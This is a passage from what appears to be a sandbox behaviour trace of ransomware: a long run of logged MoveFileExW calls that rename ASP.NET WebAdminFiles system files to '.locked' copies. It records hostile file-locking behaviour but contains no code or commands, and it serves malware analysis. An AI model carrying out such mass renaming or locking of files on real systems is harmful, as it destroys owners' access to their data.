"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs.locked"), dwFlags=0x2) returned 1 [0212.506] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\navigationbar.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\navigationbar.cs.locked"), dwFlags=0x2) returned 1 [0212.510] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs.locked"), dwFlags=0x2) returned 1 [0212.517] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\providerspage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\providerspage.cs.locked"), dwFlags=0x2) returned 1 [0212.523] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\securitypage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\securitypage.cs.locked"), dwFlags=0x2) returned 1 [0212.571] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\webadminpage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\webadminpage.cs.locked"), dwFlags=0x2) returned 1 [0212.574] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\wizardpage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code\\wizardpage.cs.locked"), dwFlags=0x2) returned 1 [0212.578] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_data\\groupedproviders.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_data\\groupedproviders.xml.locked"), dwFlags=0x2) returned 1 [0212.591] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\default.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\default.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\default.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\default.aspx.locked"), dwFlags=0x2) returned 1 [0212.601] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\error.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\error.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\error.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\error.aspx.locked"), dwFlags=0x2) returned 1 [0212.605] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\home0.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\home0.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\home0.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\home0.aspx.locked"), dwFlags=0x2) returned 1 [0212.608] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\home1.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\home1.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\home1.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\home1.aspx.locked"), dwFlags=0x2) returned 1 [0212.614] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\home2.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\home2.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\home2.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\home2.aspx.locked"), dwFlags=0x2) returned 1 [0212.622] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\alert_lrg.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\alert_lrg.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\alert_lrg.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\alert_lrg.gif.locked"), dwFlags=0x2) returned 1 [0212.655] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg.locked"), dwFlags=0x2) returned 1 [0212.658] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\aspx_file.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\aspx_file.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\aspx_file.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\aspx_file.gif.locked"), dwFlags=0x2) returned 1 [0212.662] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\branding_Full2.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\branding_full2.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\branding_Full2.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\branding_full2.gif.locked"), dwFlags=0x2) returned 1 [0212.692] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\darkblue_grad.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\darkblue_grad.jpg.locked"), dwFlags=0x2) returned 1 [0212.695] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\deselectedTab_1x1.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\deselectedtab_1x1.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\deselectedTab_1x1.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\deselectedtab_1x1.gif.locked"), dwFlags=0x2) returned 1 [0212.706] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\folder.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\folder.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\folder.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\folder.gif.locked"), dwFlags=0x2) returned 1 [0212.709] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onBlue.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\gradient_onblue.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onBlue.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\gradient_onblue.gif.locked"), dwFlags=0x2) returned 1 [0212.712] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onWhite.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\gradient_onwhite.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\gradient_onWhite.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\gradient_onwhite.gif.locked"), dwFlags=0x2) returned 1 [0212.714] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\headerGRADIENT_Tall.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\headergradient_tall.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\headerGRADIENT_Tall.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\headergradient_tall.gif.locked"), dwFlags=0x2) returned 1 [0212.718] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\help.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\help.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\help.jpg.locked"), dwFlags=0x2) returned 1 [0212.722] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\HelpIcon_solid.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\helpicon_solid.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\HelpIcon_solid.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\helpicon_solid.gif.locked"), dwFlags=0x2) returned 1 [0212.724] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image1.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\image1.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image1.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\image1.gif.locked"), dwFlags=0x2) returned 1 [0212.727] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image2.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\image2.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\image2.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\image2.gif.locked"), dwFlags=0x2) returned 1 [0212.729] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\requiredBang.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\requiredbang.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\requiredBang.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\requiredbang.gif.locked"), dwFlags=0x2) returned 1 [0212.731] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\security_watermark.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\security_watermark.jpg.locked"), dwFlags=0x2) returned 1 [0212.733] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_1x1.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_1x1.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_1x1.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_1x1.gif.locked"), dwFlags=0x2) returned 1 [0212.735] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_leftCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_leftcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_leftCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_leftcorner.gif.locked"), dwFlags=0x2) returned 1 [0212.737] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_rightCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_rightcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\selectedTab_rightCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\selectedtab_rightcorner.gif.locked"), dwFlags=0x2) returned 1 [0212.751] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\topgradrepeat.jpg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\topgradrepeat.jpg.locked"), dwFlags=0x2) returned 1 [0212.756] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_leftCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\unselectedtab_leftcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_leftCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\unselectedtab_leftcorner.gif.locked"), dwFlags=0x2) returned 1 [0212.759] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_rightCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\unselectedtab_rightcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_rightCorner.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\unselectedtab_rightcorner.gif.locked"), dwFlags=0x2) returned 1 [0212.762] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\yellowCORNER.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\yellowcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\yellowCORNER.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images\\yellowcorner.gif.locked"), dwFlags=0x2) returned 1 [0212.773] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\chooseProviderManagement.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\providers\\chooseprovidermanagement.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\chooseProviderManagement.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\providers\\chooseprovidermanagement.aspx.locked"), dwFlags=0x2) returned 1 [0212.788] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageConsolidatedProviders.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageconsolidatedproviders.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageConsolidatedProviders.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageconsolidatedproviders.aspx.locked"), dwFlags=0x2) returned 1 [0212.800] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageProviders.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageproviders.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageProviders.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageproviders.aspx.locked"), dwFlags=0x2) returned 1 [0212.828] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\createPermission.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\createpermission.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\createPermission.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\createpermission.aspx.locked"), dwFlags=0x2) returned 1 [0213.102] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\managePermissions.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\managepermissions.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\managePermissions.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\managepermissions.aspx.locked"), dwFlags=0x2) returned 1 [0213.105] FindClose (in: hFindFile=0x825990 | out: hFindFile=0x825990) returned 1 [0213.124] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageAllRoles.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\manageallroles.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageAllRoles.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\manageallroles.aspx.locked"), dwFlags=0x2) returned 1 [0213.137] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageSingleRole.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\managesinglerole.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageSingleRole.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\managesinglerole.aspx.locked"), dwFlags=0x2) returned 1 [0213.149] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\security.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\security.aspx.locked"), dwFlags=0x2) returned 1 [0213.154] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security0.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\security0.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security0.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\security0.aspx.locked"), dwFlags=0x2) returned 1 [0213.159] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\setUpAuthentication.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\setupauthentication.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\setUpAuthentication.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\setupauthentication.aspx.locked"), dwFlags=0x2) returned 1 [0213.169] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\addUser.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\adduser.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\addUser.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\adduser.aspx.locked"), dwFlags=0x2) returned 1 [0213.185] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\editUser.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\edituser.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\editUser.aspx.locked" (normalized: 